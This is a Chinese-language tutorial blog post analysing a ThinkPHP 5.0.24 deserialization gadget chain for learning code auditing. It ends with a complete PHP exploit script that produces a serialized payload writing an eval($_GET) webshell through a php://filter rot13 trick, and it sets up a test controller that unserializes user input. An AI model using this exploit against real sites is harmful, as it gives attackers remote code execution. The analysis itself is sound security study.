源码配置及前言
因为本人代码审计能力偏弱,想从PHP框架漏洞开始上上手。于是先挑ThinkPHP来弄,预期是收获一些框架审计的默认思路及技巧。
源码下载:
Thinkphp5下载_Thinkphp5框架免费下载V5.0.24 - 系统之家
我之前搜了好多源码下载,下载出来的东西都没有这个系统目录:

漏洞分析
链子分析
该漏洞需要二次开发实现了反序列化才可以使用,所以我们模拟下漏洞环境,在/application/index/controller/Index.php添加:
1 2 3 4 5 6 7 8
| class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_GET['a'])); } }
|
链子的终点是触发Output类下的__call魔术方法进行RCE:

tips:
用PHPStorm去框架中找类的时候,Ctrl+Shift+F,class 类名
即可快速定位。
我们从头开始,全局搜索__destruct()
,一般这种方法会是入口。
关注到Windows#__destruct()
:
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
接着跟进到removeFiles()
:
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
我们可以看到这里调用了file_exists()
,它能够调用__toString()
,见下面的Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class MyClass { public function __toString() { echo 'toString'; return '返回值'; } }
$obj = new MyClass(); echo(gettype($obj)); echo "<br>"; file_exists($obj);
?>
|
$obj的类型是object,file_exists()
需要接受一个String格式的参数,在这个过程中进行了类型转化,导致__toString()
被触发。
关注到think\Model.php#toString()
:
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
调用了toJson()
:
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
调用了toArray()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
源码很长,但我们只需关注到这里:

902行,观察下$value变量怎么来的:
1
| $value = $this->getRelationData($modelRelation);
|
跟进到getRelationData()
:

首先我们需要通过判断,parent才会赋值给value,parent变量可控,第一个条件过。
接下来需要看getRelationData()
方法传参中的Relation类,关注isSelfRelation()
:

selfRelation变量可控,过。
剩下这个判断了:get_class($modelRelation->getModel()) == get_class($this->parent)
先看看getModel()
:

query可控,而且关注到:\think\db\Query#getModel()
:

这个model也可控,过。
因这个getModel()
返回值与parent都可控,所以第三个判断也能过。
现在看下是否能正常传入Relation类对象,回到\think\Model#toArray()
中。

$modelRelation由$relation()
进行赋值。
$xxx()
是PHP的动态方法调用,这里会先解析变量$relation的值,然后调用值()
。
所以我们关注到$relation是怎么赋值的:

调用了parseName():

$type传入1,$ucfirst传入false,进入if判断。
这个函数没什么特殊操作,只是把带下划线的名字改成驼峰命名法,所以其返回值是可控的。
我们仍需要通过if判断,才能给$value赋值。

method_exists()
第一个参数被定死成$this,说明$relation只能是该类think\Model
下的方法。
我们观察到类中还有这样一个方法:

太完美了,$error可控。

还需要通过两个if判断,才可以调用到__call()
。
- $modelRelation(Relation对象类型)是否有
getBindAttr()
函数,我们全局搜索一下getBindAttr()
,发现OneToOne类

- 该类继承于Relation类
- 该类
getBindAttr()
返回值可控
- 该类是抽象类,无法被实例化成对象
这个条件就很简单了,观察下$bindAttr的赋值:
1
| $bindAttr = $modelRelation->getBindAttr();
|
这不就是调用了上面那个getBindAttr()
嘛,返回值可控。
由于OneToOne无法直接被实例化,我们查找下别的类。
右键OneToOne,查找用法,关注到HasOne类:

类中并未重写getBindAttr()
,太棒了。
还记得终点吗?我们通过$value->getAttr($attr)
的方式触发Output类下的__call()
。
$attr必须要可控,跟下$attr变量:

光想有点想不出来,写个Demo就知道了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class MyClass { public $name = 'Alice'; public $age = 25; private $secret = 'hidden'; }
$bindAttr = new MyClass(); foreach ($bindAttr as $key => $attr) { echo "$key: $attr\n"; }
|
接下来我们看看Output#__call()
:

看看call_user_func_array()
调用的这个block()
是什么:

跟进writeln()
:

跟进write()
:

$handler可控,我们要找一个能写Webshell的类:think\session\driver\Memcache#write()

$handler可控,我们还需要选择合适类中的set()
:think\cache\driver\File#set()

典中典之file_put_contents()
,关注一下两个参数:$filename与$data。

getCacheKey()
:

文件名被md5加密,前面的值可知,后缀为php被锁定。

$data由$value序列化得来,而$value在传参时已被定死为true,所以$data不可控。
回到set()
继续往下看,有个setTagItem($filename)
调用了$filename,跟进:

setTagItem()
:

这个方法中再一次调用了set()
,且这一次$value的值不再是定值,意味着$data是可控的。
利用与绕过
我们利用file_put_contents()
写马,会被exit()
干扰:

这里我们可以通过php伪协议进行绕过,见下面的demo:
1 2 3 4
| <?php $filename = "php://filter/write=string.rot13/resource=1.php"; $content = "<?php exit(); ?>".$filename; file_put_contents($filename, $content);
|
文章 - Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <?php namespace think\process\pipes; use think\model\Pivot; class Pipes{
}
class Windows extends Pipes{ private $files = [];
function __construct(){ $this->files = [new Pivot()]; } }
namespace think\model; use think\db\Query; abstract class Relation{ protected $selfRelation; protected $query; function __construct(){ $this->selfRelation = false; $this->query = new Query(); } }
namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation{ function __construct(){ parent::__construct(); }
} class HasOne extends OneToOne{ protected $bindAttr = []; function __construct(){ parent::__construct(); $this->bindAttr = ["no","123"]; } }
namespace think\console; use think\session\driver\Memcached; class Output{ private $handle = null; protected $styles = []; function __construct(){ $this->handle = new Memcached(); $this->styles = ['getAttr']; } }
namespace think; use think\model\relation\HasOne; use think\console\Output; use think\db\Query; abstract class Model{ protected $append = []; protected $error; public $parent; protected $selfRelation; protected $query; protected $aaaaa;
function __construct(){ $this->parent = new Output(); $this->append = ['getError']; $this->error = new HasOne(); $this->selfRelation = false; $this->query = new Query();
} }
namespace think\db; use think\console\Output; class Query{ protected $model; function __construct(){ $this->model = new Output(); } }
namespace think\session\driver; use think\cache\driver\File; class Memcached{ protected $handler = null; function __construct(){ $this->handler = new File(); } } namespace think\cache\driver; class File{ protected $options = []; protected $tag; function __construct(){ $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>', 'data_compress' => false, ]; $this->tag = true; } }
namespace think\model; use think\Model; class Pivot extends Model{
} use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
|